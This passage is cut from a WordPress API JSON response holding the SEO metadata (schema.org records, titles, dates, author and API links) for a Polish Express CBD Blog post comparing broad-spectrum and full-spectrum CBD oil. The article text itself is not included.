CBD.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\\\/#breadcrumb\"},\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\\\/#primaryimage\",\"url\":\"https:\\\/\\\/blog.express-cbd.com\\\/wp-content\\\/uploads\\\/2024\\\/11\\\/200.png\",\"contentUrl\":\"https:\\\/\\\/blog.express-cbd.com\\\/wp-content\\\/uploads\\\/2024\\\/11\\\/200.png\",\"width\":940,\"height\":788,\"caption\":\"Dr Watson Broad-Spectrum Support CBD Oil\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Express CBD Blog\",\"item\":\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Olej CBD o szerokim spektrum dzia\u0142ania a olej CBD o pe\u0142nym spektrum dzia\u0142ania\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/#website\",\"url\":\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/\",\"name\":\"Express CBD Blog\",\"description\":\"Spostrze\u017cenia i Porady ekspert\u00f3w na temat CBD\",\"publisher\":{\"@id\":\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"pl-PL\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/#organization\",\"name\":\"Express CBD Blog\",\"url\":\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/blog.express-cbd.com\\\/wp-content\\\/uploads\\\/2023\\\/04\\\/Express-CBD-Blog.png\",\"contentUrl\":\"https:\\\/\\\/blog.express-cbd.com\\\/wp-content\\\/uploads\\\/2023\\\/04\\\/Express-CBD-Blog.png\",\"width\":3596,\"height\":2154,\"caption\":\"Express CBD Blog\"},\"image\":{\"@id\":\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/#\\\/schema\\\/person\\\/78065cdeb6132989e9c08e9a8e41a9de\",\"name\":\"mwaqas\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/2a30f733013cda40b9c7ec618bcc992b00abc66beb99013a7ed31247a19de5ee?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/2a30f733013cda40b9c7ec618bcc992b00abc66beb99013a7ed31247a19de5ee?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/2a30f733013cda40b9c7ec618bcc992b00abc66beb99013a7ed31247a19de5ee?s=96&d=mm&r=g\",\"caption\":\"mwaqas\"},\"sameAs\":[\"http:\\\/\\\/blog.express-cbd.com\"],\"url\":\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/author\\\/mwaqas\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Olej CBD o szerokim spektrum dzia\u0142ania a olej CBD o pe\u0142nym spektrum dzia\u0142ania - Express CBD Blog","description":"Je\u015bli kiedykolwiek mia\u0142e\u015b okazj\u0119 bada\u0107 produkty CBD, musia\u0142e\u015b s\u0142ysze\u0107 takie terminy jak \"pe\u0142ne spektrum\" i \"szerokie spektrum\" oleju CBD.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/blog.express-cbd.com\/pl\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\/","og_locale":"pl_PL","og_type":"article","og_title":"Olej CBD o szerokim spektrum dzia\u0142ania a olej CBD o pe\u0142nym spektrum dzia\u0142ania","og_description":"Je\u015bli kiedykolwiek mia\u0142e\u015b okazj\u0119 bada\u0107 produkty CBD, musia\u0142e\u015b s\u0142ysze\u0107 takie terminy jak \"pe\u0142ne spektrum\" i \"szerokie spektrum\" oleju CBD.","og_url":"https:\/\/blog.express-cbd.com\/pl\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\/","og_site_name":"Express CBD Blog","article_published_time":"2024-12-07T11:44:04+00:00","article_modified_time":"2026-02-15T00:03:12+00:00","og_image":[{"width":940,"height":788,"url":"https:\/\/blog.express-cbd.com\/wp-content\/uploads\/2024\/11\/200.png","type":"image\/png"}],"author":"mwaqas","twitter_card":"summary_large_image","twitter_misc":{"Napisane przez":"mwaqas","Szacowany czas czytania":"9 minut"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/blog.express-cbd.com\/pl\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\/#article","isPartOf":{"@id":"https:\/\/blog.express-cbd.com\/pl\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\/"},"author":{"name":"mwaqas","@id":"https:\/\/blog.express-cbd.com\/pl\/#\/schema\/person\/78065cdeb6132989e9c08e9a8e41a9de"},"headline":"Olej CBD o szerokim spektrum dzia\u0142ania a olej CBD o pe\u0142nym spektrum dzia\u0142ania","datePublished":"2024-12-07T11:44:04+00:00","dateModified":"2026-02-15T00:03:12+00:00","mainEntityOfPage":{"@id":"https:\/\/blog.express-cbd.com\/pl\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\/"},"wordCount":1877,"commentCount":0,"publisher":{"@id":"https:\/\/blog.express-cbd.com\/pl\/#organization"},"image":{"@id":"https:\/\/blog.express-cbd.com\/pl\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\/#primaryimage"},"thumbnailUrl":"https:\/\/blog.express-cbd.com\/wp-content\/uploads\/2024\/11\/200.png","articleSection":["CBD Oil"],"inLanguage":"pl-PL","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/blog.express-cbd.com\/pl\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/blog.express-cbd.com\/pl\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\/","url":"https:\/\/blog.express-cbd.com\/pl\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\/","name":"Olej CBD o szerokim spektrum dzia\u0142ania a olej CBD o pe\u0142nym spektrum dzia\u0142ania - Express CBD Blog","isPartOf":{"@id":"https:\/\/blog.express-cbd.com\/pl\/#website"},"primaryImageOfPage":{"@id":"https:\/\/blog.express-cbd.com\/pl\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\/#primaryimage"},"image":{"@id":"https:\/\/blog.express-cbd.com\/pl\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\/#primaryimage"},"thumbnailUrl":"https:\/\/blog.express-cbd.com\/wp-content\/uploads\/2024\/11\/200.png","datePublished":"2024-12-07T11:44:04+00:00","dateModified":"2026-02-15T00:03:12+00:00","description":"Je\u015bli kiedykolwiek mia\u0142e\u015b okazj\u0119 bada\u0107 produkty CBD, musia\u0142e\u015b s\u0142ysze\u0107 takie terminy jak \"pe\u0142ne spektrum\" i \"szerokie spektrum\" oleju CBD.","breadcrumb":{"@id":"https:\/\/blog.express-cbd.com\/pl\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\/#breadcrumb"},"inLanguage":"pl-PL","potentialAction":[{"@type":"ReadAction","target":["https:\/\/blog.express-cbd.com\/pl\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\/"]}]},{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/blog.express-cbd.com\/pl\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\/#primaryimage","url":"https:\/\/blog.express-cbd.com\/wp-content\/uploads\/2024\/11\/200.png","contentUrl":"https:\/\/blog.express-cbd.com\/wp-content\/uploads\/2024\/11\/200.png","width":940,"height":788,"caption":"Dr Watson Broad-Spectrum Support CBD Oil"},{"@type":"BreadcrumbList","@id":"https:\/\/blog.express-cbd.com\/pl\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Express CBD Blog","item":"https:\/\/blog.express-cbd.com\/pl\/"},{"@type":"ListItem","position":2,"name":"Olej CBD o szerokim spektrum dzia\u0142ania a olej CBD o pe\u0142nym spektrum dzia\u0142ania"}]},{"@type":"WebSite","@id":"https:\/\/blog.express-cbd.com\/pl\/#website","url":"https:\/\/blog.express-cbd.com\/pl\/","name":"Express CBD Blog","description":"Spostrze\u017cenia i Porady ekspert\u00f3w na temat CBD","publisher":{"@id":"https:\/\/blog.express-cbd.com\/pl\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/blog.express-cbd.com\/pl\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"pl-PL"},{"@type":"Organization","@id":"https:\/\/blog.express-cbd.com\/pl\/#organization","name":"Express CBD Blog","url":"https:\/\/blog.express-cbd.com\/pl\/","logo":{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/blog.express-cbd.com\/pl\/#\/schema\/logo\/image\/","url":"https:\/\/blog.express-cbd.com\/wp-content\/uploads\/2023\/04\/Express-CBD-Blog.png","contentUrl":"https:\/\/blog.express-cbd.com\/wp-content\/uploads\/2023\/04\/Express-CBD-Blog.png","width":3596,"height":2154,"caption":"Express CBD Blog"},"image":{"@id":"https:\/\/blog.express-cbd.com\/pl\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/blog.express-cbd.com\/pl\/#\/schema\/person\/78065cdeb6132989e9c08e9a8e41a9de","name":"mwaqas","image":{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/secure.gravatar.com\/avatar\/2a30f733013cda40b9c7ec618bcc992b00abc66beb99013a7ed31247a19de5ee?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/2a30f733013cda40b9c7ec618bcc992b00abc66beb99013a7ed31247a19de5ee?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/2a30f733013cda40b9c7ec618bcc992b00abc66beb99013a7ed31247a19de5ee?s=96&d=mm&r=g","caption":"mwaqas"},"sameAs":["http:\/\/blog.express-cbd.com"],"url":"https:\/\/blog.express-cbd.com\/pl\/author\/mwaqas\/"}]}},"_links":{"self":[{"href":"https:\/\/blog.express-cbd.com\/pl\/wp-json\/wp\/v2\/posts\/10220","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.express-cbd.com\/pl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.express-cbd.com\/pl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.express-cbd.com\/pl\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.express-cbd.com\/pl\/wp-json\/wp\/v2\/comments?post=10220"}],"version-history":[{"count":2,"href":"https:\/\/blog.express-cbd.com\/pl\/wp-json\/wp\/v2\/posts\/10220\/revisions"}],"predecessor-version":[{"id":17773,"href":"https:\/\/blog.express-cbd.com\/pl\/wp-json\/wp\/v2\/posts\/10220\/revisions\/17773"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.express-cbd.com\/pl\/wp-json\/wp\/v2\/media\/10054"}],"wp:attachment":[{"href":"https:\/\/blog.express-cbd.com\/pl\/wp-json\/wp\/v2\/media?parent=10220"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.express-cbd.com\/pl\/wp-json\/wp\/v2\/categories?post=10220"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.express-cbd.com\/pl\/wp-json\/wp\/v2\/tags?post=10220"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}